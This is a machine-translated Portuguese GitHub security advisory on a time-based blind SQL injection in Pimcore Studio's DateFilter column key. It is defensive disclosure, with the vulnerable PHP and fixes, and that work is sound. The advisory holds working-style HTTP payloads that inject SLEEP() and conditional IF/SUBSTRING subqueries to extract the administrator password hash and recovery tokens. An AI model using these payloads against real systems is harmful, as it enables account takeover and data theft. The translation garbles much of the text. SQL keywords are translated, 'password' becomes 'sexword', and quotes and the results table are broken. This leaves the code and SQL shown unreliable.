Um usuário autenticado extrai o hash da senha do administrador e qualquer outro conteúdo do banco de dados através de uma injeção SQL cega baseada no tempo no parâmetro chave da coluna `DateFilter`. O objetivo de "POST / pimcore- studio/api/website- settings" (e 11 outros endpoints de listagem) aceita um array `colounnFilters` onde o campo `key` é interpolado diretamente no SQL com apenas o envolvimento manual do backtick. O `DateFilter` usa parâmetros nomeados fixos (`:minTime`, `:maxTime`), assim o nome da coluna injetada não está sujeito à validação do parâmetro nomeado DOP. Um atacante sai do backtick citando com um caracter backtick e adiciona SQL arbitrário, incluindo ` SLEEP()` para extração baseada no tempo e sub- solicitações `IF()' para exfiltração de dados condicional. ## Detalhes de vulnerabilidade. ### Exploitável: DataFiltro com Parâmetros Fixos linhas `src/Listing/Filter/DateFilter.php` 49 - 57 lide com o operador `on`. A tecla coluna vem da entrada do usuário e é colocada no SQL com o envolvimento manual, enquanto os parâmetros nomeados são codificados como `:minTime` e `:maxTime`: ```php $key = $colounn->getKey(); // controlado pelo usuário, sem validação $dateCondition = '`'. $key. ''''. ' ENTRE:minTime E:maxTime'; $listing->addConditionParam($dateCondition, ['minTime' => $valor, 'maxTime' =>...]); ```` Como os parâmetros nomeados são strings fixos, o DOP aceita a ligação independentemente do que o nome da coluna contém.

### O mesmo padrão no serviço de filtro de notas. linhas `src/Nota/Serviço/Filtro deServiço.php` 64 - 67: ```php $dateCondition = '`'. $filter[$propertyKey]. '` ''. ' ENTRE:minTime E:maxTime'; $list->addConditionParam($dateCondition, ['minTime' => $valor, 'maxTime' => $maxTime]); ```` ### Nenhuma validação na chave da coluna. `src/MappedParameter/Filter/ColumnFilter.php` aceita qualquer string como a `chave' com validação zero ou lista de permissões. ### Por que o empacotamento do retrovisor não está escapando. O envolvimento manual (````'. $key '```` não escapa aos caracteres internos do envolvimento. `quoteIdentifier()` duplica- os, o envolvimento manual não. Um contra- tic na tecla sai da citação e o `- ` (espaço de duplo travessão) comenta o resto da consulta: ** Entrada:** `` chave = "id` BET ENTRE 0 E 99999999999 ) E DORMIR( 3 )-- "``.

** Produz:** ``` sql (`id` BET ENTRE 0 E 99999999999 ) E DORMIR( 3 )-- ` ENTRE:minTime E:maxTime) ``` Tudo depois de `- ` é um comentário SQL. O ` SLEEP' injectado( 3 )` executa incondicionalmente. ### Contraste com padrões seguros na mesma base de códigos. - linha `LogRepository.php` 202: usa `$this->dbResolver->get()->quoteIdentifier()` (seguro) - `ClassificationStore/Configuration/KeyRepository.php`: usa `ALLOWED_SORT_KEYS` allowlist (seguro) ### Nota no igual ao igual ao igual ao igual ao igual ao igual ao O `EqualsFilter` e `LikeFilter` têm o mesmo envoltório manual, mas reutilizam o nome da coluna como o parâmetro nomeado DOP (`:colonName`). O DOP requer parâmetros nomeados para corresponder a `[a-zA-Z 0 - 9 _]`, assim os caracteres de injeção causam um erro de vinculação de parâmetros antes da execução do SQL. Estes filtros não são exploráveis através deste vetor. O DataFilter é explorável porque usa nomes de parâmetros fixos independentes.

Passos para Reprodução. Testado no Pimcore 12.x ( 2026 branch.x, mais recente commit ` 82 f 9 ff 6 `), Docker, PHP 8.4, MariaDB 10.11. Passo 1: Pedido de base (sem injeção). ```http POST /pimcore- studio/ api/ website- settings HTTP/ 1.1 Host: localhost: 8095 Tipo de conteúdo: aplicativo/json Cookie: PHPSESSID= {"pag": 1 ",pageSize": 10 } ```. ** Responsabilidade:** `HTTP/ 1.1 200 OK` -- `TotalItems: 1 ` -- ** 0.07 segundos** Passo 2: Dormir incondicional( 3 ) injeção. ```http POST /pimcore- studio/ api/ website- settings HTTP/ 1.1 Host: localhost: 8095 Tipo de conteúdo: aplicativo/json Cookie: PHPSESSID= {"pag": 1 ",pageSize": 10,"filters": {"colonnaFilters":[{"chave":"id` BETEN 0 E 99999999999 ) E DORMIR( 3 )-- ","tipo":" data","filterValue":{"operador":"on","valor":" 2024 - 01 - 01 "}}]}} ```.

** Responsabilidade:** `HTTP/ 1.1 200 OK` -- `TotalItems: 0 ` -- ** 6.07 segundos** O 6 - segunda demora ( 3 s x 2 consultas: SELECT + COUNT) confirma a injeção SQL. O registro geral MySQL mostra o SQL injetado executado: `` sql SELECT Id DE WHERE_settings do site (`id` ENTRE 0 E 99999999999 ) E DORMIR( 3 )-- ` ENTRE:minTime E:maxTime) ORDENAGEM POR `id` ASC LIMIT 50 ``` Passo 3: Extração de dados de prova de SLEEP condicional (caso TRUE). Esta consulta testa se o hash da senha do administrador começa com `$ 2 y$` (criptar, hexagonal ` 0 x 24327924 `). Se for verdade, o servidor dorme 3 segundos. Se for falso, sem atraso. ```http POST /pimcore- studio/ api/ website- settings HTTP/ 1.1 Host: localhost: 8095 Tipo de conteúdo: aplicativo/json Cookie: PHPSESSID=.

{"pag": 1 ",pageSize": 10,"filters": {"colonnaFilters":[{"chave":"id` BETEN 0 E 99999999999 ) E IF(( SELECCIONAR SUBSTRING( sexword, 1,4 ) DE Usuários Onde id= 1 )= 0 x 24327924, SLEEP( 3 ), 0 )-- ","tipo":" data","filterValue":{"operador":"on","valor":" 2024 - 01 - 01 "}}]}} ``` ** Responsabilidade:** `HTTP/ 1.1 200 OK` -- ** 6.07 segundos** (TRUE: admin hash com senha começa com `$ 2 y$`) Passo 4: Dormir condicional (caso FALSE, palpite errado). Mesma consulta, mas testando para ` XXXX ' (hex ` 0 x 58585858 `) em vez disso: ```http POST /pimcore- studio/ api/ website- settings HTTP/ 1.1 Host: localhost: 8095 Tipo de conteúdo: aplicativo/json Cookie: PHPSESSID= {"pag": 1 ",pageSize": 10,"filters": {"colonnaFilters":[{"chave":"id` BETEN 0 E 99999999999 ) E IF(( SELECCIONAR SUBSTRING( sexword, 1,4 ) DE Usuários Onde id= 1 )= 0 x 58585858, SLEEP( 3 ), 0 )-- ","tipo":" data","filterValue":{"operador":"on","valor":" 2024 - 01 - 01 "}}]}} ```.

** Responsabilidade:** `HTTP/ 1.1 200 OK` -- ** 0.07 segundos** (FALSE: senha não começa com `XXXX`) . Solicitar. Tempo de resposta. Significando.------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 0.07 SOMAGEM INCONDICIONAL ` E SOMAGEM ( 3 )` | 6.07 sї Injeção confirmada ♫ VERO Condicional `IF(password começa com $ 2 y$, DORMIR( 3 ), 0 )` | 6.07 sї Dados extraídos: o hash é bcrypt (') FALSE. 'IF(password começa com XXXX, SLEEP( 3 ), 0 )` | 0.07 sї Controle: nenhuma correspondência, nenhum atraso Iterando através de caracteres com `SUBSTRING( senha, N, 1 )`, um atacante extrai o hash de bcrypt completo para cracking offline, ou extrai valores `passwordRecoveryToken` para tomada direta de conta sem cracking. Um usuário autenticado com permissão `website_settings` (ou qualquer permissão que permita o acesso a um endpoint de listagem com suporte DateFilter) extrai o conteúdo completo de qualquer tabela de banco de dados um caractere de cada vez através de injeção SQL cega baseada no tempo condicional. Dados de alto valor diretamente extraíbles: - Hachas de senha de administração (`users.password`) para cracking offline - Tokens de recuperação de senha (`users.passwordRecoveryToken`) para tomada direta de contas via `POST / login/token` - Dados de sessão para seqüestro de sessão - Todos os dados do produto PIM, conteúdo CMS e metadados dos ativos.

Pontos de End afetados. Todos os endpoints usando o filtro `ListingFilter::applyFilters()` com um filtro de colunas DateFilter `on': - `POST /pimcore-studio/api/website-sets` - `POST /pimcore-studio/api/notificações` - `POST /pimcore-studio/api/recycle-bin` - `POST /pimcore-studio/api/redirects` - `POST /pimcore-studio/api/translations/{dominio}' - `POST /pimcore-studio/api/quantity-value/units` - `POST /pimcore-studio/api/properties` - `POST /pimcore-studio/api/classification-store/{storeId}/keystore}/store Substituir o backtick manual com `Doctrine\ DBAL\Connection::quoteIdentifier()`, ou implementar uma lista de permissões por lista de nomes de coluna válidos: Opção ``` php // 1: quoteIdentifier (doubles backticks internos) $db = \Pimcore\ Db:::get(); $dateCondition = $db->quoteIdentifier( $key). ' ENTRE:minTime E:maxTime';.

// Opção 2: allowlist (preferido) privado const ALLOWED_COLUNNS = ['id', 'nome', 'data', 'tipo', 'creationDate', 'modificationDate']; se (!in_array($key, self:::ALLOWED_COLUNNS, true)) { lançar nova coluna de filtro inválido('Invalid filter column'); } ```` Aplicar a mesma correção para `EqualsFilter`, `LikeFilter` e `Nota/FilterService' como defesa em profundidade, mesmo que esses sejam atualmente protegidos por validação de parâmetros nomeados DOP. ## Materiais Suportativos. - Testado ao vivo no Pimcore 12.x ( 2026 branch.x, commit ` 82 f 9 ff 6 `), Docker, PHP 8.4, MariaDB 10.11 - O registro geral de consulta MySQL confirma que o SQL injetado chega ao banco de dados - O padrão seguro (`quoteIdentifier()`) existe na mesma base de códigos na linha `LogRepository.php` 202 - Pacote: `pimcore/studio-backend-bundle` Registro de aconselhamento: GHSA- 79 cw- hfcc- 7 mw 9. Identificadores relacionados: CVE- 2026 - 55208.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 08 - 28 T 19: 04: 54.000 Z e lista a sua última modificação como 2026 - 08 - 28 T 19: 04: 54.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N. Informações sobre software e versão afetadas: pacote de pacotes de pacote pimcore/studio-backend-bundle — ECOSYSTEM: introduzido 0, corrigido 2025.4.6. Pacote de pacotes pimcore/studio-backend-bundle — ECOSISTEM: introduzido 2026.1.0, corrigido 2026.1.6. Classificação e evidência: identificadores de fraqueza CWE- 89. O registro contém 7 suporte de referências nestes tipos: WEB, AVISO, EMBALAGAMENTO.